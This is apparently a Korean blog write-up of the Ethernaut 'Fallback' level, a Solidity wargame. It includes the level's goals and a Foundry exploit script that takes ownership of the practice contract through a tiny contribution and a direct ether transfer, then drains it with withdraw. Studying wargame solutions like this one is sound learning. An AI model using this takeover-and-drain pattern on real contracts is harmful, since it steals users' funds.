The Ethernaut - 1. Fallback

로컬에서 하는 데 많이 참고한 블로그 글

https://velog.io/@oomia/로컬에서-시작하는-Ethernaut

https://github.com/OpenZeppelin/ethernaut

 

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Look carefully at the contract's code below.

You will beat this level if

1. you claim ownership of the contract
2. you reduce its balance to 0
Things that might help

How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods

 

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/fallback.sol";

contract POC is Script {
    Fallback public target;

    function setUp() external {
        address payable fallbackAddress = payable(vm.envAddress("level_contract_address"));
        target = Fallback(fallbackAddress);
    }

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));

        // 기부 기능 사용
        target.contribute{value: 1 wei}();

        // 이더 전송
        (bool success, ) = address(target).call{value: 0.001 ether}("");

         target.withdraw();

        console.log("Attack completed");
    }
}

 

알아야 할 점 : abi를 이용하여 컨트랙트에 이더 보내기, abi 외부에서 컨트랙트에 이더 보내기, fallback / receive 함수